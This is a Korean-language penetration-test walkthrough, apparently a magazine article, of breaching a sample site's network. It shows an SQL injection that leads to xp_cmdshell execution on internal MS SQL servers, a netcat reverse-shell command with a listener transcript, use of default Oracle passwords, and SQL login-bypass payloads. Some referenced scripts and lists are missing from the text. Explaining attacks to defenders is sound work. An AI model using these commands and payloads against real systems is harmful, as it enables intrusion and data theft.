다음에 보이는 예는 아주 일반적인 것이다. 즉, 여기에 보여준 내용은 다른 사이트에 적용될 가능성이 아주 높은 예라는 의미다. 여기에 나온 내용만 주의해도 많은 도움이 될 것이다. 그리고 이러한 예는 최근의 보안 이슈가 무엇인지를 극명히 보여준다. 보고서를 읽어 보고 이슈를 찾아보기 바란다.
네트워크 구성과 대상
vulnerablesite.com의 DMZ의 웹 서버와 내부의 데이터베이스 서버들, 내부 인트라넷 서버가 공격 대상이다. 이러한 구성은 전형적인 네트워크 구성으로서 웹 서버 등은 트래픽 부하 때문에 DMZ 구간에 두는 경우가 많다([그림 1]).
[그림 1] vulnerablesite.com의 네트워크 구성
침투 시나리오
방화벽에 잘못된 설정이 없으며, DMZ 구간의 웹 서버에만 접근할 수 있다. 따라서 DMZ 구간의 웹 서버에서 취약점을 찾아 내부로 접근하는 방법이 가장 효과적일 것으로 판단하고, 웹 서버의 웹 애플리케이션에 대한 테스트를 진행했다. 그 결과, SQL 인젝션(injection)이 존재하는 것을 발견했고 SQL 인젝션을 통해 내부 데이터베이스 서버에 침투하는 데 성공했다. 이 데이터베이스를 교두보로 내부 망을 스캔하고 내부의 오라클 데이터베이스 서버와 인트라넷 서버에 침투하는 데 성공했다. 내부 망에서는 상대적으로 보안 정도가 낮아지므로 내부 망까지 일단 진입만 하면 그 이후는 어렵지 않게 진행할 수 있었다.
1단계
SQL 인젝션 발견
SQL 인젝션은 주로 게시판 등에서 쉽게 발견할 수 있다. [화면 1]은 원래의 id= 파라미터의 끝부분에 ‘ 문자를 덧붙여서 MS SQL 에러가 발생한 것을 보인 것이다. 만약 다른 사이트에서 이런 형태의 에러 메시지를 봤다면, 그 사이트에는 SQL 인젝션이 존재하고 보안 문제가 있다고 볼 수 있다.
[화면 1] SQL이 존재하는 것으로 추정되는 MS SQL 에러
SQL 인젝션을 익스플로잇하기 위한 스크립트 제작
vulnerablesite.com의 웹 서버는 MS SQL 데이터베이스에 sa 권한으로 접속하지 않았다. 따라서 바로 스토어드 프로시저 실행과 같은 상위 권한이 필요한 작업들은 실행이 불가능했다. 따라서 다음과 같이 다른 MS SQL 서버에 접속해 명령을 실행하는 스크립트를 짜고 여러 서버에 대해 명령을 실행해 보았다. 해당 서버에서 명령 실행이 잘 됐는지 여부는 ping이나 telnet으로 공격자의 컴퓨터로 패킷을 보내도록 하고, tcpdump로 그 패킷을 모니터링하는 방법이 많이 쓰인다. 바로 웹 페이지에서 명령 실행 결과를 볼 수 있는 경우는 거의 없다.
두 번째 줄의 프로그램의 첫 번째 인자는 공격 대상이 되는 호스트의 이름이나 주소이고, 네 번째 줄의 나머지 인자는 실행할 명령행이다. 다섯 번째 줄에서는 lynx를 사용해 대상 호스트에 접속한다. 실제로 vulnerablesite.com의 MS SQL 서버에서 실행하려는 쿼리는 다음과 같다.
select * from OPENROWSET(‘SQLoledb’,’uid=sa;pwd=;Network=DBMSSOCN;Address=$host,1433;’,’
SET FMTONLY OFF execute master..xp_cmdshell “$cmd”’)
이 쿼리는 데이터베이스에서 대상 $host의 MS SQL 데이터베이스에 sa 권한으로 널 패스워드로 접속해 $cmd 명령을 실행하라는 의미다. 대상 $host의 MS SQL 데이터베이스의 sa에 패스워드가 걸려 있지 않다면 이 스크립트는 성공할 것이다. $host를 변화시켜 가면서 취약한 MS SQL 서버를 찾아서 내부 망을 스캐닝해 볼 수도 있다.
2단계
netcat을 다운로드하고 리버스 커넥션을 통해 명령 셸에서 작업할 수 있었다. 방화벽이 있어서 외부에서 내부 시스템에 접근하기 힘들 것이라고 생각한다면 오산이다. 대부분 방화벽은 외부에서 내부 망으로의 직접적인 공격을 막도록 설계되어 있다. 하지만 내부 망에서 외부로 나가는 트래픽은 거의 통제하지 못하는 실정이고, 애플리케이션 레벨의 프로토콜에 대해 분석할 수 있는 기능이 없으므로 80번 웹 포트와 같이 일반적인 포트를 사용해 외부로 접근할 경우 거의 감지할 수 없다. nc를 구동해 cmd.exe를 실행하고 공격자의 컴퓨터로 그 제어권을 넘긴다.
sh exec.sh 10.1.1.5 nc.exe -e cmd.exe
nc를 통해 셸을 얻고, 명령을 실행하는 모습이다. 일반적인 명령행의 명령들은 모두 실행할 수 있다.
tester:~/# nc -l -vv -p 9999
listening on [any] 9999 ...
connect to [
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:WINNTsystem32>ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter 로컬 영역 연결:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . :
Subnet Mask . . . . . . . . . . . :
Default Gateway . . . . . . . . . :
3단계
터미널 서버나 VNC 등을 통해 GUI로 접근할 수 있었다([화면 2]). 터미널 서버나 VNC는 GUI를 필요로 하는 윈도우 애플리케이션들을 구동하기에 적당한 환경이다. 그리고 VNC는 리버스 커넥션이 가능하므로 방화벽에 의해 차단되거나 IDS에 의해 감지될 확률도 낮아진다.
4단계
다양한 기능을 제공하는 취약점 스캐너도 설치한 후 내부 망을 스캔했다([화면 3]). 내부 망에서는 상대적으로 보안 정도가 약하므로 취약점 스캐너만으로도 취약한 기계를 많이 찾아낼 수 있다.
5단계
오라클 데이터베이스 서버 역시 취약한 패스워드를 가지고 있었다([화면 4]). 오라클을 사용하는 많은 사이트에서 디폴트로 ‘oracle’ 계정에 ‘oracle’과 같은 단순한 패스워드를 쓰고 있다. 취약한 계정과 패스워드 조합은 이 외에도 많이 알려져 있다. 가장 기본적인 보안 수칙을 지키는 것이 방화벽 증설이나 IDS 설치보다도 중요한 일이다.
6단계
넷스케이프 어드민 서버 버그를 이용해 바로 루트 권한을 획득했다. [화면 5]를 보면 id 명령과 ls 명령이 성공적으로 수행됐음을 알 수 있다. id의 결과로 바로 루트 권한 획득을 알 수 있다.
OS 패치는 비교적 잘 이루어지는 편이지만 이런 식의 각종 응용 프로그램들의 버그에 대해서는 패치가 늦어지는 경우가 많다. 그리고 파일 퍼미션이나 자체 개발 프로그램 등의 문제로 시스템 관리자 권한을 빼앗기는 경우도 많다.
사용된 기술들 설명
SQL 인젝션
SQL 인젝션은 다음과 같이 정의할 수 있다.
SQL 인젝션은 웹 애플리케이션을 통해 데이터베이스의 데이터나 스토어드 프로시저에 접근하는 방법을 의미한다. 웹 애플리케이션의 버그로 인해 SQL 문에 사용자가 입력을 필터하지 않고 넣어서 데이터베이스로 전달될 때 발생한다.
SQL 인젝션은 다음과 같은 목적으로 사용된다.
SQL 인젝션은 다음과 같은 문자들을 입력해 보고 결과를 보면 찾을 수 있다.
SQL 인젝션에 영향을 받는 프로그램은 다음과 같다.
SQL 인젝션 사용 예는 다음과 같다.
JSP 사용시 인증 우회
다음은 SQL 인젝션을 사용해 인증 부분을 건너뛰고 로그인하는 예를 보여 준다. 실제로 이러한 공격이 그대로 먹히는 경우도 있고, 실제 질의문은 다를 수 있으므로 약간의 변형이 필요한 경우도 있다.
1. 예를들어 어떤 jsp에 다음과 같은 인증 부분이 있다고 하자. 사용자 테이블에서 사용자 이름과 패스워드가 일치하는 사용자를 찾는 전형적인 사용자인증을 위한 쿼리다.
sqlquery_str=”SELECT Username FROM Users WHERE Username = ‘“ & strUsername & “‘ AND Password = ‘“ & strPassword & “‘“
strAuthorized= GetQueryResult(sqlquery_str)
If strAuthorized= “” Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
2. Login, Password를 다음과 같이 사용자에게 입력받고 그 값을 그대로 앞의 질의문으로 보내준다고 하자. 즉, SQL 인젝션이 가능하다고 하자.
Login: ‘ OR ‘’=’
Password: ‘ OR ‘’=’
3. 결과적으로 다음과 같은 질의문이 실행된다. 따라서 이 질의문은 항상 테이블의 모든 행(row)를 반환하게 되고 대부분의 경우 행의 첫 번째 사용자로 로그인하게 될 것이다.
SELECT Username FROM Users WHERE Username = ‘’ OR ‘’=’’ AND Password = ‘’ OR ‘’=’’
ASP 인증 우회
IIS에서 ASP를 쓰고 MS SQL을 사용할 경우에 사용할 수 있는 인증 우회 방법이다.
1. 다음과 같은 ASP로 만들어진 로그인 폼이 있다고 하자.
로그인
2. 로그인 폼은 [리스트 2]와 같은 ASP 파일을 실행한다. 전형적인 데이터베이스 커넥션 문장에 전형적인 질의문이다.
3. 이 ASP 스크립트에는 다음과 같은 부분에 SQL 인젝션이 존재한다. 이 부분에 SQL 인젝션이 발생하는 이유는 앞의 ASP에 ‘ 문자나 -- 등의 문자열을 필터링하는 코드가 전혀 없기 때문이다.
var sql = “select * from users where username = ‘“ + username + “‘
and password = ‘“ + password + “‘“;
4. 다음과 같은 방법으로 admin으로 로그인할 수 있다.
Username: admin’--
이 입력은 실제 쿼리에서 다음과 같이 해석된다. MS SQL에서 --가 커멘트 아웃 문자열로서 그 이후의 내용은 무시하므로 결국 admin 권한으로 로그인할 수 있다.
select * from users where username = ‘admin’--’ and password = ‘’
SQL 인젝션 참고자료
다음과 같은 문서들을 읽어 본다면 SQL 인젝션에 대해 더 깊이 이해할 수 있을 것이다.
▲ RFP 문서
▲ FAQ : http://www.sqlsecurity.com/faq-inj.asp
▲ 기술 문서
넷스케이프 어드민 서버 버그
넷스케이프 어드민 서버의 버그에 대해서는 다음 참고 자료를 참조하기 바란다.
▲ www.ngsec.com/docs/whitepapers/Iplanet-NG-XSS-analysis.pdf
▲ www.securitytracker.com/alerts/2002/Nov/1005656.html










